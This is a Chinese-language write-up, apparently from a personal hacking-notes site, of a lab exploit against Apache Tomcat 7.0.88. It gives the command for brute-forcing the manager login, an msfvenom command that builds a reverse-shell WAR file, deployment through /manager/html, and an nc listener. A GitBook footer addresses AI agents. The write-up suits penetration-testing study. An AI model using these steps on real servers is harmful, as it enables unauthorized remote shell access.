> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-.war-file.md).

# Tomcat WAR 文件

8080 端口托管 **Apache Tomcat**. `whatweb` 识别版本 **7.0.88**，已知存在漏洞。

<div data-full-width="true"><figure><img src="/files/d1208e1f5ad7137c50d6beb61b786155c9ae3d91" alt=""><figcaption></figcaption></figure></div>

<figure><img src="/files/da8f304dac6e091c68cff5e04ddc669f20d07f82" alt=""><figcaption></figcaption></figure>

### 信息泄露

**管理面板登录**

<figure><img src="/files/8807f1ba809633da9d2531c3b3b763a8979eef11" alt=""><figcaption></figcaption></figure>

尝试访问 `/manager/html` 使用默认凭据，例如 `admin:admin`，但失败了。

{% embed url="<https://github.com/bl4de/security-tools/blob/master/apache-tomcat-login-bruteforce.py>" %}

**凭据暴力破解攻击**

使用 SecLists `tomcat-betterdefaultpasslist.txt` 字典来暴力破解凭据：

使用 Python 脚本自动执行此任务：

```bash
python3 apache-tomcat-login-bruteforce.py -H 10.10.10.95 -p 8080 -P http
```

**结果：** 有效凭据为：/ `tomcat:s3cret`

<figure><img src="/files/35ed467e507149b7c5ebf517aff783127de500ac" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/86b1d85e1f2662e87e28510847cd8a482ccb028f" alt=""><figcaption></figcaption></figure>

### Tomcat 漏洞：

**1. WAR 文件生成：**/ 使用 `msfvenom` 用于创建包含反向 shell 的 WAR 文件：

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.15 LPORT=443 -f war -o reverse.war
```

<figure><img src="/files/228b3889e11e7fcb3aa718870abac976f12e6d0e" alt=""><figcaption></figcaption></figure>

**2. 通过 Tomcat Manager 部署：**/ 通过以下方式上传 WAR 文件： `/manager/html`.

<figure><img src="/files/6b49c672f228bdc7adf5a9e60f1d0f2f520c1989" alt="" width="563"><figcaption></figcaption></figure>

**3. 反向 shell 监听器：**/ 设置监听器以捕获反向连接：

```bash
rlwrap nc -nlvp 443
```

触发已部署文件（`/reverse`）可在目标主机上获得交互式 shell。

<figure><img src="/files/c142733adb1bcf35be27662993bcad4aafd1d20a" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/cms/tomcat-cms-exploitation/tomcat-.war-file.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
